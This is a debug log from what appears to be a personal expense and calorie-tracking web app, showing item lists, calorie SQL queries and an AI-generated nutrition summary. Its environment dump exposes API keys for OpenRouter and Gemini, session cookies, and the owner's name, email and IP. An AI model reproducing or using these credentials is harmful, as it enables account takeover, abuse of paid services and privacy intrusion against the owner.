  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T04:18:22.282Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T04:18:22.283Z server-connect:app Executing action step identify
2025-12-18T04:18:22.283Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:22.283Z server-connect:output identity: 1
2025-12-18T04:18:22.283Z server-connect:app Executing action step restrict
2025-12-18T04:18:22.283Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:18:22.283Z server-connect:output restrict: undefined
2025-12-18T04:18:22.284Z server-connect:app Executing action step single
2025-12-18T04:18:22.284Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T04:18:22.285Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T04:18:22.285Z server-connect:app Executing action step select
2025-12-18T04:18:22.285Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T04:18:22.287Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  }
]
2025-12-18T04:18:22.287Z server-connect:app Executing action step setvalue
2025-12-18T04:18:22.287Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T04:18:22.287Z server-connect:output var_total: 285
2025-12-18T04:18:22.287Z server-connect:app Executing action step setvalue
2025-12-18T04:18:22.287Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T04:18:22.287Z server-connect:output var_consumed: 12
2025-12-18T04:18:22.287Z server-connect:app Executing action step setvalue
2025-12-18T04:18:22.287Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T04:18:22.287Z server-connect:output var_deficit: 2115
2025-12-18T04:18:22.287Z server-connect:app Executing action step custom
2025-12-18T04:18:22.287Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T04:18:22.288Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '285',
    surplus_or_deficit: '2115',
    status_flag: 2
  }
]
2025-12-18T04:18:22.314Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T04:18:22.314Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T04:18:22.314Z server-connect:app Executing action step identify
2025-12-18T04:18:22.314Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:22.315Z server-connect:output identity: 1
2025-12-18T04:18:22.315Z server-connect:app Executing action step restrict
2025-12-18T04:18:22.315Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:18:22.315Z server-connect:app Executing action step identify
2025-12-18T04:18:22.315Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:22.315Z server-connect:output identity: 1
2025-12-18T04:18:22.315Z server-connect:app Executing action step restrict
2025-12-18T04:18:22.315Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:22.315Z server-connect:output restrict: undefined
2025-12-18T04:18:22.315Z server-connect:app Executing action step single
2025-12-18T04:18:22.315Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T04:18:22.316Z server-connect:output restrict: undefined
2025-12-18T04:18:22.316Z server-connect:app Executing action step single
2025-12-18T04:18:22.316Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T04:18:22.316Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T04:18:22.317Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be quite limited, with only one recorded food item. This single item does not provide a balanced profile of macronutrients and is unlikely to support muscle development or recovery adequately. Consistent training is a positive, but the nutritional intake needs significant improvement to align with your goals.",
    bad_points: [
      'Very limited food intake recorded for the day.',
      'Lack of variety in consumed food.',
      'Protein intake is likely insufficient for muscle development and recovery.',
      'No information on meal timing or hydration.'
    ],
    good_points: [ 'Consistent gym attendance is noted.' ],
    suggestions: [
      'Incorporate more diverse food sources throughout the day.',
      'Prioritize protein-rich foods at each meal.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding a post-workout meal or snack to aid recovery.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'Slight downward trend with some fluctuations.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T04:18:23.081Z server-connect:app Executing action step identify
2025-12-18T04:18:23.081Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:23.081Z server-connect:output identity: 1
2025-12-18T04:18:30.641Z server-connect:app Executing action step identify
2025-12-18T04:18:30.641Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:30.641Z server-connect:output identity: 1
2025-12-18T04:20:58.752Z server-connect:app Executing action step identify
2025-12-18T04:20:58.752Z server-connect:app options: { provider: 'security' }
2025-12-18T04:20:58.752Z server-connect:output identity: 1
2025-12-18T04:21:03.376Z server-connect:app Executing action step identify
2025-12-18T04:21:03.376Z server-connect:app options: { provider: 'security' }
2025-12-18T04:21:03.376Z server-connect:output identity: 1
2025-12-18T04:41:47.930Z server-connect:app Executing action step identify
2025-12-18T04:41:47.930Z server-connect:app options: { provider: 'security' }
2025-12-18T04:41:47.931Z server-connect:output identity: 1
2025-12-18T04:44:34.447Z server-connect:app Executing action step identify
2025-12-18T04:44:34.448Z server-connect:app options: { provider: 'security' }
2025-12-18T04:44:34.448Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 04:49:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 04:49:08' as DATETIME)"
}
2025-12-18T05:07:41.537Z server-connect:router Serving templateView /
2025-12-18T05:07:41.538Z server-connect:app Executing action step identify
2025-12-18T05:07:41.538Z server-connect:app options: { provider: 'security' }
2025-12-18T05:07:41.538Z server-connect:output identity: 1
2025-12-18T05:07:41.538Z server-connect:app Executing action step restrict
2025-12-18T05:07:41.538Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T05:07:41.540Z server-connect:output restrict: undefined
2025-12-18T05:07:41.540Z server-connect:app Executing action step restrict
2025-12-18T05:07:41.540Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T05:07:41.540Z server-connect:output restrict: undefined
2025-12-18T05:07:41.540Z server-connect:router Render template layouts/main
2025-12-18T05:07:41.540Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-18T05:07:42.455Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T05:07:42.456Z server-connect:app Executing action step identify
2025-12-18T05:07:42.456Z server-connect:app options: { provider: 'security' }
2025-12-18T05:07:42.456Z server-connect:output identity: 1
2025-12-18T05:07:42.456Z server-connect:app Executing action step restrict
2025-12-18T05:07:42.456Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:07:42.457Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T05:07:42.457Z server-connect:output restrict: undefined
2025-12-18T05:07:42.457Z server-connect:app Executing action step select
2025-12-18T05:07:42.457Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T05:07:42.458Z server-connect:app Executing action step identify
2025-12-18T05:07:42.458Z server-connect:app options: { provider: 'security' }
2025-12-18T05:07:42.458Z server-connect:output identity: 1
2025-12-18T05:07:42.458Z server-connect:app Executing action step restrict
2025-12-18T05:07:42.458Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:07:42.462Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
